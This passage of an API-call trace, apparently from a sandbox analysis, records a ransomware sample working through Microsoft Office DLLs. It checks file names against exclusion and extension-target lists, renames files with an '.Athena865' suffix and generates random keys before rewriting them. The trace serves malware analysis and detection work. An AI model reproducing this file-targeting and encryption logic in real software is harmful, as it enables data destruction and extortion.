(lpString1="DLL", lpString2="mfd") returned -1 [0068.498] lstrlenW (lpString="mpd") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0068.498] lstrlenW (lpString="mrg") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0068.498] lstrlenW (lpString="mud") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0068.498] lstrlenW (lpString="mwb") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0068.498] lstrlenW (lpString="myd") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0068.498] lstrlenW (lpString="ndf") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0068.498] lstrlenW (lpString="nnt") returned 3 [0068.498] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0068.499] lstrlenW (lpString="nrmlib") returned 6 [0068.499] lstrcmpiW (lpString1="EW.DLL", lpString2="nrmlib") returned -1 [0068.499] lstrlenW (lpString="ns2") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0068.499] lstrlenW (lpString="ns3") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0068.499] lstrlenW (lpString="ns4") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0068.499] lstrlenW (lpString="nsf") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0068.499] lstrlenW (lpString="nv") returned 2 [0068.499] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0068.499] lstrlenW (lpString="nv2") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0068.499] lstrlenW (lpString="nwdb") returned 4 [0068.499] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0068.499] lstrlenW (lpString="nyf") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0068.499] lstrlenW (lpString="odb") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.499] lstrlenW (lpString="odb") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0068.499] lstrlenW (lpString="oqy") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0068.499] lstrlenW (lpString="ora") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0068.499] lstrlenW (lpString="orx") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0068.499] lstrlenW (lpString="owc") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0068.499] lstrlenW (lpString="p96") returned 3 [0068.499] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0068.499] lstrlenW (lpString="p97") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0068.500] lstrlenW (lpString="pan") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0068.500] lstrlenW (lpString="pdb") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0068.500] lstrlenW (lpString="pdm") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0068.500] lstrlenW (lpString="pnz") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0068.500] lstrlenW (lpString="qry") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0068.500] lstrlenW (lpString="qvd") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0068.500] lstrlenW (lpString="rbf") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0068.500] lstrlenW (lpString="rctd") returned 4 [0068.500] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0068.500] lstrlenW (lpString="rod") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0068.500] lstrlenW (lpString="rodx") returned 4 [0068.500] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0068.500] lstrlenW (lpString="rpd") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0068.500] lstrlenW (lpString="rsd") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0068.500] lstrlenW (lpString="sas7bdat") returned 8 [0068.500] lstrcmpiW (lpString1="VIEW.DLL", lpString2="sas7bdat") returned 1 [0068.500] lstrlenW (lpString="sbf") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0068.500] lstrlenW (lpString="scx") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0068.500] lstrlenW (lpString="sdb") returned 3 [0068.500] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0068.501] lstrlenW (lpString="sdc") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0068.501] lstrlenW (lpString="sdf") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0068.501] lstrlenW (lpString="sis") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0068.501] lstrlenW (lpString="spq") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0068.501] lstrlenW (lpString="te") returned 2 [0068.501] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0068.501] lstrlenW (lpString="teacher") returned 7 [0068.501] lstrcmpiW (lpString1="IEW.DLL", lpString2="teacher") returned -1 [0068.501] lstrlenW (lpString="tmd") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0068.501] lstrlenW (lpString="tps") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0068.501] lstrlenW (lpString="trc") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.501] lstrlenW (lpString="trc") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0068.501] lstrlenW (lpString="trm") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0068.501] lstrlenW (lpString="udb") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0068.501] lstrlenW (lpString="udl") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0068.501] lstrlenW (lpString="usr") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0068.501] lstrlenW (lpString="v12") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0068.501] lstrlenW (lpString="vis") returned 3 [0068.501] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0068.502] lstrlenW (lpString="vpd") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0068.502] lstrlenW (lpString="vvv") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0068.502] lstrlenW (lpString="wdb") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0068.502] lstrlenW (lpString="wmdb") returned 4 [0068.502] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0068.502] lstrlenW (lpString="wrk") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0068.502] lstrlenW (lpString="xdb") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0068.502] lstrlenW (lpString="xld") returned 3 [0068.502] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0068.502] lstrlenW (lpString="xmlff") returned 5 [0068.502] lstrcmpiW (lpString1="W.DLL", lpString2="xmlff") returned -1 [0068.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.Athena865") returned 64 [0068.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.athena865"), dwFlags=0x1) returned 1 [0068.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BRTVIEW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\brtview.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.506] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=186776) returned 1 [0068.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.506] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.507] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.507] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.507] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dca0, lpName=0x0) returned 0x154 [0068.509] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dca0) returned 0x170000 [0068.521] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.522] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.522] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.522] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0068.524] CloseHandle (hObject=0x154) returned 1 [0068.524] CloseHandle (hObject=0x17c) returned 1 [0068.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.525] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".") returned 1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="..") returned 1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="windows") returned -1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="bootmgr") returned 1 [0068.525] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="temp") returned -1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="pagefile.sys") returned -1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="boot") returned 1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="ids.txt") returned -1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="ntuser.dat") returned -1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="perflogs") returned -1 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2="MSBuild") returned -1 [0068.526] lstrlenW (lpString="BSTORM.DLL") returned 10 [0068.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="BSTORM.DLL" | out: lpString1="BSTORM.DLL") returned="BSTORM.DLL" [0068.526] lstrlenW (lpString="BSTORM.DLL") returned 10 [0068.526] lstrlenW (lpString="Athena865") returned 9 [0068.526] lstrcmpiW (lpString1="STORM.DLL", lpString2="Athena865") returned 1 [0068.526] lstrlenW (lpString=".dll") returned 4 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".dll") returned 1 [0068.526] lstrlenW (lpString=".lnk") returned 4 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".lnk") returned 1 [0068.526] lstrlenW (lpString=".ini") returned 4 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".ini") returned 1 [0068.526] lstrlenW (lpString=".sys") returned 4 [0068.526] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".sys") returned 1 [0068.526] lstrlenW (lpString="BSTORM.DLL") returned 10 [0068.526] lstrlenW (lpString="bak") returned 3 [0068.526] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0068.526] lstrlenW (lpString="ba_") returned 3 [0068.526] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0068.526] lstrlenW (lpString="dbb") returned 3 [0068.526] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0068.526] lstrlenW (lpString="vmdk") returned 4 [0068.526] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0068.526] lstrlenW (lpString="rar") returned 3 [0068.526] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0068.526] lstrlenW (lpString="zip") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0068.527] lstrlenW (lpString="tgz") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0068.527] lstrlenW (lpString="vbox") returned 4 [0068.527] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0068.527] lstrlenW (lpString="vdi") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0068.527] lstrlenW (lpString="vhd") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0068.527] lstrlenW (lpString="vhdx") returned 4 [0068.527] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0068.527] lstrlenW (lpString="avhd") returned 4 [0068.527] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0068.527] lstrlenW (lpString="db") returned 2 [0068.527] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0068.527] lstrlenW (lpString="db2") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0068.527] lstrlenW (lpString="db3") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0068.527] lstrlenW (lpString="dbf") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0068.527] lstrlenW (lpString="mdf") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0068.527] lstrlenW (lpString="mdb") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0068.527] lstrlenW (lpString="sql") returned 3 [0068.527] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0068.527] lstrlenW (lpString="sqlite") returned 6 [0068.527] lstrcmpiW (lpString1="RM.DLL", lpString2="sqlite") returned -1 [0068.527] lstrlenW (lpString="sqlite3") returned 7 [0068.527] lstrcmpiW (lpString1="ORM.DLL", lpString2="sqlite3") returned -1 [0068.527] lstrlenW (lpString="sqlitedb") returned 8 [0068.528] lstrcmpiW (lpString1="TORM.DLL", lpString2="sqlitedb") returned 1 [0068.528] lstrlenW (lpString="xml") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0068.528] lstrlenW (lpString="$er") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0068.528] lstrlenW (lpString="4dd") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0068.528] lstrlenW (lpString="4dl") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0068.528] lstrlenW (lpString="^^^") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0068.528] lstrlenW (lpString="abs") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0068.528] lstrlenW (lpString="abx") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0068.528] lstrlenW (lpString="accdb") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accdb") returned 1 [0068.528] lstrlenW (lpString="accdc") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accdc") returned 1 [0068.528] lstrlenW (lpString="accde") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accde") returned 1 [0068.528] lstrlenW (lpString="accdr") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accdr") returned 1 [0068.528] lstrlenW (lpString="accdt") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accdt") returned 1 [0068.528] lstrlenW (lpString="accdw") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accdw") returned 1 [0068.528] lstrlenW (lpString="accft") returned 5 [0068.528] lstrcmpiW (lpString1="M.DLL", lpString2="accft") returned 1 [0068.528] lstrlenW (lpString="adb") returned 3 [0068.528] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.528] lstrlenW (lpString="adb") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0068.529] lstrlenW (lpString="ade") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0068.529] lstrlenW (lpString="adf") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0068.529] lstrlenW (lpString="adn") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0068.529] lstrlenW (lpString="adp") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0068.529] lstrlenW (lpString="alf") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0068.529] lstrlenW (lpString="ask") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0068.529] lstrlenW (lpString="btr") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0068.529] lstrlenW (lpString="cat") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0068.529] lstrlenW (lpString="cdb") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0068.529] lstrlenW (lpString="ckp") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0068.529] lstrlenW (lpString="cma") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0068.529] lstrlenW (lpString="cpd") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0068.529] lstrlenW (lpString="dacpac") returned 6 [0068.529] lstrcmpiW (lpString1="RM.DLL", lpString2="dacpac") returned 1 [0068.529] lstrlenW (lpString="dad") returned 3 [0068.529] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0068.529] lstrlenW (lpString="dadiagrams") returned 10 [0068.529] lstrlenW (lpString="daschema") returned 8 [0068.529] lstrcmpiW (lpString1="TORM.DLL", lpString2="daschema") returned 1 [0068.530] lstrlenW (lpString="db-journal") returned 10 [0068.530] lstrlenW (lpString="db-shm") returned 6 [0068.530] lstrcmpiW (lpString1="RM.DLL", lpString2="db-shm") returned 1 [0068.530] lstrlenW (lpString="db-wal") returned 6 [0068.530] lstrcmpiW (lpString1="RM.DLL", lpString2="db-wal") returned 1 [0068.530] lstrlenW (lpString="dbc") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0068.530] lstrlenW (lpString="dbs") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0068.530] lstrlenW (lpString="dbt") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0068.530] lstrlenW (lpString="dbv") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0068.530] lstrlenW (lpString="dbx") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0068.530] lstrlenW (lpString="dcb") returned 3 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0068.530] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0068.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.Athena865") returned 63 [0068.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.athena865"), dwFlags=0x1) returned 1 [0068.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bstorm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0068.532] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=947072) returned 1 [0068.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0068.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0068.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0068.534] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0068.535] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0068.535] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.535] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe7680, lpName=0x0) returned 0x154 [0068.536] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe7680) returned 0x2d50000 [0068.599] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0068.600] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0068.600] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0068.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0068.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0068.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0068.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0068.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0068.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0068.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0068.601] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0068.609] CloseHandle (hObject=0x154) returned 1 [0068.609] CloseHandle (hObject=0x17c) returned 1 [0068.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0068.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0068.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0068.613] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".") returned 1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="..") returned 1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="windows") returned -1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="bootmgr") returned 1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="temp") returned -1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="pagefile.sys") returned -1 [0068.613] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="boot") returned 1 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="ids.txt") returned -1 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="ntuser.dat") returned -1 [0068.614] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2="perflogs") returned -1 [0068.614] lstrcmpiW 